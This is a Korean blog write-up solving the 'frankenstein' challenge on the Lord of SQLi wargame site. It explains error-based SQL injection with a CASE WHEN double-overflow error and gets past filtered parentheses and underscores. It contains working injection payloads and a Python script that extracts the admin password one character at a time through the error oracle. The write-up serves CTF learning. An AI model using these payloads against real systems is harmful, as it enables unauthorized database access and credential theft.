괄호가 필터링되어버린다. 그렇다면 함수를 못 쓰는건가
정규식이 생각나서
?pw=' or id='admin' and pw like "___" 해보려해도 _가 필터링되어 불가능이다.
Error based SQL injection
1. Syntax error
2. logical error
syntax error : 쿼리 자체는 실행되지 않은 채로, 바로 에러 메시지를 반환한다.
logical error : 쿼리 자체는 실행되지만 논리적 오류로 인해 메시지를 반환한다.
때문에 error based sql에서는 logical error을 이용해야 한다.
에러 발생시키는 방법
1. select ~0+1
~0에는 unsigned의 최댓값이 들어간다. 최댓값에 +1을 해서 에러를 출력하는 방법이다.
2. 9eN
N이 308 이상의 숫자이면 syntax error
즉, 307까지는 syntax error가 아닌 logical error이다.
9e307*N 으로 logical error 발생시키는 듯
?pw=' or case when id='admin' and pw like '{}%25' then 9e307*2 else 0 end%23
[**] %25 -> '%'
비밀번호 길이는 모르더라도 대충 잡아놓고 하면 된다.
import requests
chars_list = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
cookies={"PHPSESSID":""}
passwd=""
for i in range(30):
for c in chars_list:
temp = passwd + c
url = f"https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw=' or case when id='admin' and pw like '{temp}%25' then 9e307*2 else 0 end%23"
res = requests.get(url, cookies=cookies)
if "<hr><br>error" in res.text:
passwd+=c
print(passwd)
break
https://comsec.tistory.com/102
'워게임 > LOS' 카테고리의 다른 글
ouroboros(quine sql injection) (0) | 2021.10.09 |
---|---|
phantom(서브쿼리) (0) | 2021.10.09 |
blue_dragon(time based sql injection) (0) | 2021.10.09 |
red_dragon(개행, 이분탐색) (0) | 2021.10.06 |
[**] green_dragon (0) | 2021.10.06 |
댓글